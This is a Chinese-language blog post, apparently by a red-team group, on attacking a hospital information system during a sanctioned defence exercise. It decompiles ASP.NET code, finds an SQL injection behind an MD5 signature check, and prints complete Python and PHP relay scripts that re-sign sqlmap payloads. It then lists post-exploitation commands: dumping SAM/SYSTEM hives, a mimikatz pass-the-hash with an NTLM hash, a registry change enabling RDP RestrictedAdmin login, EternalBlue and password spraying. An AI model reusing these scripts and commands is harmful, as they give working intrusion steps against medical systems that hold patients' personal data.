记某次护网中对HIS系统的审计

2024-08-26 22:55   山西  

1.前言

最近在某次护网中,小队分到了一些医疗单位的靶标,小队师傅也是成功靠备份文件爆破手法找到了一个HIS系统的源码,为ASP.NET相关源码,恰好最近研究了很多.NET安全方面的知识,于是审计这块的工作就交给我了。

在正式开始审计之前,先分享一些我刚刚学到的新知识,那就是医疗行业相关的重点系统。主要有四个,分别是HISPACSLISRIS

HIS医院信息管理系统,是医院信息化建设的核心组成部分,它是为了管理和运营医院而设计和开发的一套综合性的信息系统。

PACS即医学影像存档与通讯系统,主要作用有连接不同的影像设备、图像的调用与后处理等。

LIS即实验室(检验科)信息系统,LIS系统不仅是自动接收检验数据,打印检验报告,系统保存检验信息的工具,而且也是医生科研、诊疗的重要参考指标。

RIS即放射信息管理系统,它与PACS系统共同构成医学影像学的信息化环境。

借用小队师傅的一句话总结就是,HIS就是平时你去看病登记挂号系统 LIS就是负责报告的系统 PACSRIS是影像的系统。这四个系统对于医疗单位来说还是非常重要的,并且与其相关的数据库中一般保存大量数据,可以爽吃数据分(尤其是HIS)。进入医疗相关目标的内网后,除了注意域控等常见集权设施,还可以多关注上述系统,能拿下上述系统也是能吃不少分的。

介绍完背景,正文开始,本文主要就是针对一个HIS系统进行的审计。

2.分析签名生成逻辑并挖掘注入点

首先根据拿到的dll源码来看,该系统基于ASP.NET MVC开发

同时也使用了EntityFramework ORM框架

如果开发者使用LINQ语法或者预处理,那么SQL注入漏洞就有点难挖了,不过很多开发者未必能用习惯LINQ语法,如果还是使用传统的ExecuteSqlCommand()SqlQuery()SqlCommand() 那还是有机会的

总之,把dll拖进Dnspy里反编译,对于MVC类型的系统,无论是何语言,还是先看一下路由是怎么设置的

普通的路由规则就是MVC默认的路由规则,没什么好介绍的,但是注意到这套系统还使用了WebApi,其WebApi的路由规则如下:

以上就大概摸清了这套系统的路由规则。接下来就是审计了,由于是ASP.NET系统,基本都和SQL Server数据库绑着用,找个SQL注入基本就能拿下了,所以先愉快的找一波SQL注入。这里我找到一个PatientController,这是一个实现ApiController的类,走WebApi路由规则

其中,有一个BindUserCardaction引起了我的注意

这个action把它接收到的GET传参都传入本类的GetUserCard方法

跟进GetUserCard方法,它把patCardNo参数传给DBControl类的GetCardIDList方法

跟进GetCardIDList

可以看到,直接把传参和SQL语句做拼接,然后扔给SqlCommand执行,没有使用什么LINQ和预处理,这样我们就很容易地找到了一个注入

但是,这里也没那么容易,事实上这套系统的大量接口都存在验签机制

在正式进入SQL语句执行之前,还使用Equals对传参中的token参数值和一个str字符串进行了比较,如果这个比较返回false,会直接返回失败:

那接下来我们就来研究一下这个str的生成逻辑,其实也好理解

这里把test(后面敏感关键字用test替代)tokenTwo做了一个拼接,然后传入UserMd5方法进行处理,就得到了str。我们来看一下UserMd5方法的逻辑

看起来有点抽象,其实这里就只是对传参进行了一个md5加密

那么接下来这个tokenTwo是什么呢?这里就有点烧脑了

这里新建了一个SortedDictionary字典,然后把我们的GET参数值全都对应的传过来了,并且把这个SortedDictionary丢给getParamSrc方法进行处理,结果即为tokenTwo变量的值。我们来分析一下getParamSrc方法

这里大意就是对SortedDictionary里的键值对进行重新排序,得到一个新Dictionary,比方说我们一开始有这样一个字典:

{    "hospitalId": "123",    "hospRegionCode": "XYZ",    "patName": "Alice",    "patCardType": "ID",    "patCardNo": "456",    "patType": "Inpatient",    "patMobile": "9876543210",    "guardName": "Bob",    "guardidType": "Passport",    "guardidNo": "789",    "source": "Web",    "code": "ABC",    "birthDay": "1990-01-01",    "oprId": "001",    "clientPw": "password",    "healthCardId": "HC123"}

重新排序后变成下面这个顺序:

{    "birthDay": "1990-01-01",    "clientPw": "password",    "code": "ABC",    "guardName": "Bob",    "guardidNo": "789",    "guardidType": "Passport",    "healthCardId": "HC123",    "hospitalId": "123",    "hospRegionCode": "XYZ",    "oprId": "001",    "patCardNo": "456",    "patCardType": "ID",    "patMobile": "9876543210",    "patName": "Alice",    "patType": "Inpatient",    "source": "Web"}


接着,按新的顺序依此取出键值进行拼接,变成:

1990-01-01passwordABCBob789PassportXYZ123001456ID9876543210AliceInpatientHC123Web

这就是getParamSrc方法的执行结果,然后这个结果前面拼接上test,再走一次md5加密,就得到token了。

逻辑理顺了,但是实际上写脚本并不用这么复杂,因为这里从头到尾都没有验证WEB传参是否为空,SortedDictionary也允许null键值,依此我们实际上只需要传入前面提到的存在注入问题的patCardNo参数,其它为空,这样脚本就很好写了,只要获取patCardNotest字符做拼接就好了。

先写一个简单的验证脚本:

加个单引号,提示出现错误

多补一个单引号,结果正常

说明我们通过了验签,并且此处也确实存在一个SQL注入点,那么接下来,我们要怎么利用呢?自己重新实现一个SQL注入脚本去复现Sqlmap--os-shell工作量肯定是巨大的,不如写个脚本和Sqlmap联动吧

3.请求转发&中转注入

对于上述情况,其实有两种解决思路,分别是请求转发和中转注入。小队的范师傅首先给出了一个python脚本。这个脚本的思路是,用Flask起一个用于请求包装和转发的WEB代理,这个代理接受Sqlmap的请求,根据sqlmap插入注入点的payload去生成token,并替换请求中的token,这样就完成了一次请求的包装,接着把这个包装的请求发给目标,并接受响应,这样完成一次完整的请求。脚本如下:

from flask import Flask, request, Responseimport hashlibimport requestsimport reimport urllib.parse
app = Flask(__name__)
# 目标服务器地址TARGET_URL = "http://xxx.xxx.xxx.xxx"
@app.route('/<path:path>', methods=['GET', 'POST'])def proxy(path): # 获取原始请求参数 query_params = request.query_string.decode('utf-8') original_url = f"{TARGET_URL}/{path}?{query_params}"
# 处理 token 和 patCardNo patCardNo_match = re.search(r"patCardNo=([^&]*)", query_params) if patCardNo_match: # 提取并解码 patCardNo patCardNo = patCardNo_match.group(1) decoded_patCardNo = urllib.parse.unquote(patCardNo) # URL解码
# 生成 token 的逻辑 token_base = "test" + decoded_patCardNo token = hashlib.md5(token_base.encode('utf-8')).hexdigest()
# 添加调试输出以检查生成的值 print(f"[DEBUG] patCardNo: {decoded_patCardNo}") print(f"[DEBUG] token_base: {token_base}") print(f"[DEBUG] Calculated token (MD5): {token}")
# 替换请求中的 token 参数 query_params = re.sub(r"token=[^&]*", f"token={token}", query_params) modified_url = f"{TARGET_URL}/{path}?{query_params}" else: modified_url = original_url
# 打印调试信息 print(f"[DEBUG] Original URL: {original_url}") print(f"[DEBUG] Modified URL: {modified_url}")
# 转发请求到目标服务器 if request.method == 'GET': resp = requests.get(modified_url, headers=request.headers) elif request.method == 'POST': resp = requests.post(modified_url, data=request.form, headers=request.headers)
# 将响应返回给 SQLMap response = Response(resp.content, status=resp.status_code) for key, value in resp.headers.items(): response.headers[key] = value return response
if __name__ == '__main__':app.run(host='127.0.0.1', port=8088, debug=True)

然后sqlmap跑原数据包的注入点,同时使用proxy连接该代理

python sqlmap.py -r 1.txt --proxy http://127.0.0.1:8088

SQL Server堆叠注入,DBA权限,后续懂得都懂了。

小队师傅写好脚本的时,我也吃好饭差不多回到家了,于是我捣鼓了一个PHP中转注入脚本。简单来说我这个脚本只获取SQLMAPpayload,并不获取完整请求,后续的token的生成包括请求的发起都是自己用curl_exec完成。

如果是POST请求使用如下脚本:

<?php$url = "http://xxx.xxx.xxx.xxx/api/xxxx/BindUserCard";$sql = $_GET['s']; //获取中转脚本传过来的payload $s = $sql;$tokenseed = "test".$s;$token = md5($tokenseed);$params = "xxxx=&xxxx=&xxxx=&xxxx=&patCardNo=$s&patType=&patMobile=&guardName=&guardidType=&guardidNo=&source=&code=&birthDay=&oprId=&clientPw=&healthCardId=&token=$token";$ch = curl_init();// 创建一个新cURL资源 curl_setopt($ch, CURLOPT_URL, $url);//这是你想用PHP取回的URL地址,可以在用curl_init()函数初始化时设置这个选项curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hostscurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSEcurl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值   curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP请求中自定义一个”user-agent”头的字符串curl_setopt($ch, CURLOPT_TIMEOUT, 15);//为了应对目标服务器的过载,下线,或者崩溃等可能状况。curl_setopt($ch, CURLOPT_POST, 1);    // post 提交方式curl_setopt($ch, CURLOPT_POSTFIELDS, $params);// 抓取URL并把它传递给浏览器 $response = curl_exec($ch);echo $response;// 关闭cURL资源,并且释放系统资源curl_close($ch);

我们上面的场景是要求GET请求,简单改改就行,使用如下脚本:<?php$url = "http://xxx.xxx.xxx.xxx/api/Patient/BindUserCard";$sql = $_GET['s']; // 使用引号包裹 's' 以获取 GET 参数$s = $sql;$tokenseed = "test" . $s;$token = md5($tokenseed);
// 将参数添加到 URL 中$params = "xxxx=&xxxx=&xxxx=&xxxx=&patCardNo=$s&patType=&patMobile=&guardName=&guardidType=&guardidNo=&source=&code=&birthDay=&oprId=&clientPw=&healthCardId=&token=$token";$request_url = $url . "?" . $params; // 构建完整的 GET 请求 URL$ch = curl_init(); // 创建一个新cURL资源curl_setopt($ch, CURLOPT_URL, $request_url); // 设置请求的完整URLcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); // https请求 不验证hostscurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 将结果返回而不是直接输出curl_setopt($ch, CURLOPT_HEADER, 0); // 不包含头信息curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)'); // 自定义User-Agentcurl_setopt($ch, CURLOPT_TIMEOUT, 15); // 设置超时时间$response = curl_exec($ch); // 执行cURL请求if ($response === FALSE) { echo "cURL Error: " . curl_error($ch); // 输出错误信息} else { echo $response; // 输出请求结果}
curl_close($ch); // 关闭cURL资源?>

然后让SQLMAP跑这个点就行。

4.审计结语

最后也是在实战中练习到了ASP.NET的代码审计,基于.NET MVCWebApi开发的站点越来越多,用Framework WebForm开发的站点基本都是一些历史遗留站点了,还是有必要深入学习一下.NET MVCWebApi的。这个代审过程也比较ez,主要是写中转脚本有意思。

5.后渗透延伸

到这里我们已经拿到目标的HIS系统的服务器权限了,再来说说PACSLIS系统。HIS服务器上翻到了本地数据库连接的密码sa / Testme@414661(假装是这个)然后通过喷洒之后成功撞出了几个相同的口令,恰巧不巧其中就有PACS系统数据库

利用MDUT工具提权至SYSTEM,转存hash到本地服务器

reg save HKLM\SYSTEM D:\Sys.hivreg save HKLM\SAM D:\Sam.hiv

之后再通过MDUT的文件管理去下载到本地,再用mimikatz去提取ntlm

提取出来之后果不其然密码为强口令,cmd5解不出来,又不想修改和新增账号。那咋办嘞?可以通过mimikatzpth横向上去

privilege::debug sekurlsa::pth /user:Administrator /domain:HIS_SERVER /ntlm:53fcac5a9fb07060869c08f77127e8e6 "/run:mstsc.exe /restrictedadmin"

横向之后提示登录受限,我们可以通过修改注册表允许登录

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

然后使用

REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" 

是否开启成功

如果回显内容为“DisableRestrictedAdmin REG_DWORD 0x0“ 则说明修改成功(不绝对)

成功登录上目标的LIS服务器

又来说说PACS系统,遗憾的是这个系统没有拿下服务器权限,只接管了管理员账号,怎么接管的呢?通过我们熟悉的永恒之蓝拿到的权限

抓取RDP密码为空(一般这种情况大概率是个人机),利用注册表开启RDP之后成功登录

登录后本地接管PACS系统管理员权限

到这里就差不多结束了,可惜没有抓住RIS系统的尾巴,我怀疑这个医院压根没有。

小队第一篇文章,求师傅们关注






HW专项行动小组
大师!教我打攻防
 最新文章